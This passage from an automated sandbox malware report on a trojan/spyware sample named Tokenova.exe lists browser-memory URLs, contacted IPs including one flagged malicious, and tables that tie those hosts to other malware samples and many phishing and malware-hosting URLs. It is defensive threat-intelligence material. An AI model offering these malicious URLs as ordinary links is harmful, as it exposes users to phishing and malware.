http://anglebug.com/3965	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.google.com/update2/response	chrome.exe, 00000003.00000002.2425688327.00001344000FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2477186636.0000199C0038C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/MergeSession	msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload	chrome.exe, 00000003.00000003.2342491444.00006ACC0087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.comAccess-Control-Allow-Credentials:	chrome.exe, 00000003.00000003.2372046207.0000134400294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427605624.0000134400484000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-0.corp.google.com/	chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false		high
https://permanently-removed.invalid/Logout	msedge.exe, 00000006.00000003.2473670172.0000199C00270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2474550708.0000199C00274000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/upload	chrome.exe, 00000003.00000003.2359742467.000013440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359636796.0000134401128000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427430302.0000134400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=	chrome.exe, 00000003.00000002.2438294797.00006ACC00920000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/4830	chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/:	chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/	chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
95.101.182.88	e28578.d.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
2.16.164.104	a416.dscd.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
20.189.173.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
18.164.116.39	unknown	United States	3	MIT-GATEWAYSUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.236.164	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.21	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
142.250.184.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.57.90.145	unknown	United States	35994	AKAMAI-ASUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.57.90.163	unknown	United States	35994	AKAMAI-ASUS	false
150.171.27.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.130.190.206	fua.4t.com	Germany	24940	HETZNER-ASDE	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
23.209.72.20	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1624221
Start date and time:	2025-02-26 01:47:39 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Tokenova.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@67/265@24/23
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 72.247.153.162, 184.30.131.245, 199.232.214.172, 216.58.206.67, 142.250.184.238, 64.233.184.84, 142.250.185.238, 142.250.185.142, 142.250.185.78, 172.217.18.10, 142.250.185.74, 216.58.206.74, 142.250.185.138, 142.250.186.170, 142.250.185.106, 142.250.185.170, 172.217.16.202, 216.58.206.42, 142.250.185.202, 142.250.186.106, 142.250.186.138, 142.250.181.234, 216.58.212.170, 142.250.185.234, 142.250.186.74, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.185.174, 13.107.6.158, 4.231.66.184, 104.124.11.224, 104.124.11.186, 23.15.178.147, 23.15.178.200, 184.86.251.22, 184.86.251.27, 48.209.162.134, 2.22.242.121, 2.22.242.82, 104.124.11.11, 104.124.11.26, 142.251.40.163, 172.217.165.131, 142.251.35.163, 142.250.80.99, 142.250.80.67, 142.251.32.99, 13.107.246.60, 52.149.20.212, 23.199.214.10, 94.245.104.56, 40.126.31.1, 13.107.253.72, 104.117.182.72, 23.1.237.91, 13.107.246.40, 20.25.227.174, 150.171.28.10, 23.222.242.82
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, www.bing.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, prod-agic-we-4.westeurope.cloudapp.azure.com, redirector.gvt1.com, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
95.101.182.88	https://pdf.ac/1Gsdsa	Get hash	malicious	Unknown	Browse
95.101.182.88	bestgirlfriendformylifesheismygirlmyonly.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse
2.16.164.104	CheatEngine75.exe	Get hash	malicious	Unknown	Browse
	https://jii.li/mu-dgt	Get hash	malicious	Unknown	Browse
	https://dgt.info.gf/dgg/in.php	Get hash	malicious	Unknown	Browse
	http://currentlyyahoatt.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	https://www.avast.com/sig-email?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail	Get hash	malicious	Unknown	Browse
	hashtab-6.0.0.34-installer_rxb9-U1.exe	Get hash	malicious	PureLog Stealer	Browse
	http://jaqi.ivcc742.workers.dev/	Get hash	malicious	Unknown	Browse
	http://cloud.15922894802.workers.dev/	Get hash	malicious	Unknown	Browse
	https://vrhyjywjy.pages.dev/	Get hash	malicious	Unknown	Browse
	http://yg-cf002-yx2towdays.pages.dev/	Get hash	malicious	Unknown	Browse
20.189.173.9	Microsoft subscription purchase confirmation.eml	Get hash	malicious	HTMLPhisher	Browse
	https://used-trudy-s08zvfvm.dcms.site/	Get hash	malicious	HTMLPhisher	Browse
	JvUDWaaHMK	Get hash	malicious	Unknown	Browse
	FW Luis Quezada Signed.msg	Get hash	malicious	HTMLPhisher	Browse
	phish_alert_sp2_2.0.0.0 (8).eml	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse
149.154.167.99	http://45.142.208.144.sslip.io/blog/	Get hash	malicious	Unknown	Browse	telegram.org/img/emoji/40/F09F9889.png
	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fua.4t.com	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Tofsee, Vidar, zgRAT	Browse	94.130.190.206
chrome.cloudflare-dns.com	Swift.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Tmu6xSTr7o.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	f2FzB60knO.exe	Get hash	malicious	GO Backdoor	Browse	172.64.41.3
	New Sharefile - peRd9Y.svg	Get hash	malicious	Phisher	Browse	162.159.61.3
	https://www.mediafire.com/folder/rq9keaobsyt4w/Loader	Get hash	malicious	Unknown	Browse	162.159.61.3
	UPS_ZI100035519.pdf.lnk	Get hash	malicious	MalLnk	Browse	172.64.41.3
	250223-mr9spatndk_pw_infected.zip	Get hash	malicious	Vidar	Browse	172.64.41.3
	https://ncdmv.com/	Get hash	malicious	Unknown	Browse	162.159.61.3
	SecuriteInfo.com.Win32.Evo-gen.4095.23980.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	SecuriteInfo.com.Win32.Evo-gen.3300.22935.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
a416.dscd.akamai.net	New Sharefile - peRd9Y.svg	Get hash	malicious	Phisher	Browse	2.22.242.105
	UPS_ZI100035519.pdf.lnk	Get hash	malicious	MalLnk	Browse	2.22.242.11
	250223-mr9spatndk_pw_infected.zip	Get hash	malicious	Vidar	Browse	2.22.242.105
	https://ncdmv.com/	Get hash	malicious	Unknown	Browse	2.22.242.11
	SecuriteInfo.com.Win32.Evo-gen.4095.23980.exe	Get hash	malicious	Vidar	Browse	88.221.110.80
	SecuriteInfo.com.Win32.Evo-gen.3300.22935.exe	Get hash	malicious	Vidar	Browse	2.19.11.120
	Payment_Activity_0079_2025-2-21.vbs	Get hash	malicious	Unknown	Browse	2.19.11.100
	build.exe	Get hash	malicious	Vidar	Browse	2.19.11.120
	EFT Remittance_(Bobd)CQDM.html	Get hash	malicious	Unknown	Browse	2.19.11.100
s-part-0044.t-0009.fb-t-msedge.net	http://mastersteelworx.com.au	Get hash	malicious	TechSupportScam	Browse	13.107.253.72
	https://voice-message.documenthostingaccount.com/tClVI/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	lNV3432.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	https://views.syd1.cdn.digitaloceanspaces.com/view_docs/newstatement/vewinv88/sffrts/pending-docs.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	Remittance_Slip_kodiakbp.com.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	Goldsboro Housing Authority-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse	13.107.253.72
	http://uamotyevd.giftrend.click/index.php?search=4&d155157&gjzla=302-2094&lm=1652441IFAP403&sd=9&page=WrLaWzz2HzKyHSp	Get hash	malicious	Phisher	Browse	13.107.253.72
	https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	Get hash	malicious	HTMLPhisher, Invisible JS	Browse	13.107.253.72
	https://login.case.edu/cas/login?gateway=true&service=https%3A%2F%2Fassets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe	Get hash	malicious	Invisible JS	Browse	13.107.253.72
	phish_alert_sp2_2.0.0.0 - 2025-02-25T081956.882.eml	Get hash	malicious	Unknown	Browse	13.107.253.72

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Telegram-PremiumMode.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Zitat Nr. 46789Feb25..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://drive.usercontent.google.com/u/0/uc?id=1JmlOFU9xF5LP0XvS6hM5KS6X8cSifM5-&export=download	Get hash	malicious	Unknown	Browse	149.154.167.220
	Balance Pendiente.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	27#U0646.bat	Get hash	malicious	AsyncRAT	Browse	149.154.167.220
	28jkhqVuUO.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Quotation.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	confirmaci#U00f3n de pago.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	RFQ.exe	Get hash	malicious	DBatLoader, DarkCloud	Browse	149.154.167.220
MICROSOFT-CORP-MSN-AS-BLOCKUS	res.spc.elf	Get hash	malicious	Unknown	Browse	40.108.238.91
	http://mastersteelworx.com.au	Get hash	malicious	TechSupportScam	Browse	40.126.32.138
	SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.1821.22378.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	res.m68k.elf	Get hash	malicious	Unknown	Browse	40.108.173.63
	res.arm5.elf	Get hash	malicious	Unknown	Browse	191.234.39.10
	res.x86.elf	Get hash	malicious	Unknown	Browse	22.183.20.39
	res.arm.elf	Get hash	malicious	Unknown	Browse	20.100.221.224
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	13.90.63.101
	res.ppc.elf	Get hash	malicious	Unknown	Browse	13.95.254.100
	https://singer.action.azurecomm.net/api/v2/a/c?url=https%3A%2F%2Fprimevoicemansvoiceoverman.digirooz.com%2Fprime%2F&d=AIAADZOGOFB5H3F6VAYSTY2RTESGNF4JC3XPM4OEYQFYF7347AHAEGEATXGCCH5LORIDNXKZLYYZP4UTMO76R2WADMFYXADRAAB4ZQOHL575R7PM7KDLDWNB3UJ4MSZLJG4JLNNXLP6JJLVVESIL57K5KI3ZFHOZ2LGSPAAF3YPOEPNVQPHYX47IY3SSCT6UDOD2FSXSSQJS2LASCLLELKNDZUPPD5TMOV4O26N254AREGQVH2CYVCFPZYBQ4L6N5S7Y6TZJH6AR6WAXCOJ6QIUZW2VVDGY&i=AIAADSTZZTG42BVN53FA4IIDAWLNZDAI7C63R3GCJSJZKAJOGXCECDE5HGLB4TIIBDVTOIXOMYJX7CAMYZK52ZT3Z2C2KXGLKKZ2DDMLRLRJE2AZ66ZZ5YANHGNZRSKARPF5VKEYHLOSFLEYRRWRL7RPNWS2TFYZZ574TXSSJIP6M2Q35NCINXYJGR4MPZDWBX6TG4WFQXOEREATPMNJHHNGG2QJBN3MWB5LZ673LSXTOPHJV6ZS5CFVZSWSVXHWJEW3POGL42453OH754X43XIXRB6GCET5DQEGVPTG7PJ5575AIQAIEXB4LZYUUCCPRMWRKC5PST7Z6RQEQY&s=AAEBSN7GK2HKHA5FDCIBYUGQUALPI6FG74BMXJ3QYPANRR7MXEYQ	Get hash	malicious	Unknown	Browse	20.85.205.59
AKAMAI-ASN1EU	http://mastersteelworx.com.au	Get hash	malicious	TechSupportScam	Browse	23.215.18.210
	https://voice-message.documenthostingaccount.com/tClVI/	Get hash	malicious	HTMLPhisher	Browse	95.101.182.112
	res.x86.elf	Get hash	malicious	Unknown	Browse	184.27.119.111
	https://singer.action.azurecomm.net/api/v2/a/c?url=https%3A%2F%2Fprimevoicemansvoiceoverman.digirooz.com%2Fprime%2F&d=AIAADZOGOFB5H3F6VAYSTY2RTESGNF4JC3XPM4OEYQFYF7347AHAEGEATXGCCH5LORIDNXKZLYYZP4UTMO76R2WADMFYXADRAAB4ZQOHL575R7PM7KDLDWNB3UJ4MSZLJG4JLNNXLP6JJLVVESIL57K5KI3ZFHOZ2LGSPAAF3YPOEPNVQPHYX47IY3SSCT6UDOD2FSXSSQJS2LASCLLELKNDZUPPD5TMOV4O26N254AREGQVH2CYVCFPZYBQ4L6N5S7Y6TZJH6AR6WAXCOJ6QIUZW2VVDGY&i=AIAADSTZZTG42BVN53FA4IIDAWLNZDAI7C63R3GCJSJZKAJOGXCECDE5HGLB4TIIBDVTOIXOMYJX7CAMYZK52ZT3Z2C2KXGLKKZ2DDMLRLRJE2AZ66ZZ5YANHGNZRSKARPF5VKEYHLOSFLEYRRWRL7RPNWS2TFYZZ574TXSSJIP6M2Q35NCINXYJGR4MPZDWBX6TG4WFQXOEREATPMNJHHNGG2QJBN3MWB5LZ673LSXTOPHJV6ZS5CFVZSWSVXHWJEW3POGL42453OH754X43XIXRB6GCET5DQEGVPTG7PJ5575AIQAIEXB4LZYUUCCPRMWRKC5PST7Z6RQEQY&s=AAEBSN7GK2HKHA5FDCIBYUGQUALPI6FG74BMXJ3QYPANRR7MXEYQ	Get hash	malicious	Unknown	Browse	95.101.182.74
	https://mfsus-my.sharepoint.com/:u:/p/jmaldonado/ETgv2ykDZTZFqqQuEgMT5HYBmLmp6Wc681CQdzzQhFcYJQ?e=deM7Fd	Get hash	malicious	HTMLPhisher	Browse	88.221.110.96
	https://d2au43sm2agwgo.cloudfront.net/oDduMNTY?x=GsffcuBv1gkXTJcSslKrKC9ZX4d_3B9xLbZ2Qscge4SGw8HeiDlY1t16l4ZHdPmR7zUfQc3-e300_nv-vuX0pqFQQIjuCA	Get hash	malicious	HTMLPhisher	Browse	95.101.182.65
	res.ppc.elf	Get hash	malicious	Unknown	Browse	184.27.120.26
	https://docs.google.com/presentation/d/e/2PACX-1vS-nN7hyacCYt95zNulla0L9qX2DSAc5P5i0gxMOo_AM5wUPw1qtPfPGfFm-j95A08CW22rEIA_1zoH/pub?start=false&loop=false&delayms=1000	Get hash	malicious	HTMLPhisher	Browse	2.16.168.10
	https://share-na2.hsforms.com/1PjEWHU0rTgy9Ph9sIQQEsg403mgg	Get hash	malicious	Unknown	Browse	23.37.124.29
	https://1drv.ms/f/s!Al3kOrNM1pisdUEXbGg8JkzKK48?e=tOzHl1	Get hash	malicious	HTMLPhisher	Browse	172.232.147.51
AKAMAI-ASN1EU	http://mastersteelworx.com.au	Get hash	malicious	TechSupportScam	Browse	23.215.18.210
	https://voice-message.documenthostingaccount.com/tClVI/	Get hash	malicious	HTMLPhisher	Browse	95.101.182.112
	res.x86.elf	Get hash	malicious	Unknown	Browse	184.27.119.111
	https://singer.action.azurecomm.net/api/v2/a/c?url=https%3A%2F%2Fprimevoicemansvoiceoverman.digirooz.com%2Fprime%2F&d=AIAADZOGOFB5H3F6VAYSTY2RTESGNF4JC3XPM4OEYQFYF7347AHAEGEATXGCCH5LORIDNXKZLYYZP4UTMO76R2WADMFYXADRAAB4ZQOHL575R7PM7KDLDWNB3UJ4MSZLJG4JLNNXLP6JJLVVESIL57K5KI3ZFHOZ2LGSPAAF3YPOEPNVQPHYX47IY3SSCT6UDOD2FSXSSQJS2LASCLLELKNDZUPPD5TMOV4O26N254AREGQVH2CYVCFPZYBQ4L6N5S7Y6TZJH6AR6WAXCOJ6QIUZW2VVDGY&i=AIAADSTZZTG42BVN53FA4IIDAWLNZDAI7C63R3GCJSJZKAJOGXCECDE5HGLB4TIIBDVTOIXOMYJX7CAMYZK52ZT3Z2C2KXGLKKZ2DDMLRLRJE2AZ66ZZ5YANHGNZRSKARPF5VKEYHLOSFLEYRRWRL7RPNWS2TFYZZ574TXSSJIP6M2Q35NCINXYJGR4MPZDWBX6TG4WFQXOEREATPMNJHHNGG2QJBN3MWB5LZ673LSXTOPHJV6ZS5CFVZSWSVXHWJEW3POGL42453OH754X43XIXRB6GCET5DQEGVPTG7PJ5575AIQAIEXB4LZYUUCCPRMWRKC5PST7Z6RQEQY&s=AAEBSN7GK2HKHA5FDCIBYUGQUALPI6FG74BMXJ3QYPANRR7MXEYQ	Get hash	malicious	Unknown	Browse	95.101.182.74
	https://mfsus-my.sharepoint.com/:u:/p/jmaldonado/ETgv2ykDZTZFqqQuEgMT5HYBmLmp6Wc681CQdzzQhFcYJQ?e=deM7Fd	Get hash	malicious	HTMLPhisher	Browse	88.221.110.96
	https://d2au43sm2agwgo.cloudfront.net/oDduMNTY?x=GsffcuBv1gkXTJcSslKrKC9ZX4d_3B9xLbZ2Qscge4SGw8HeiDlY1t16l4ZHdPmR7zUfQc3-e300_nv-vuX0pqFQQIjuCA	Get hash	malicious	HTMLPhisher	Browse	95.101.182.65
	res.ppc.elf	Get hash	malicious	Unknown	Browse	184.27.120.26
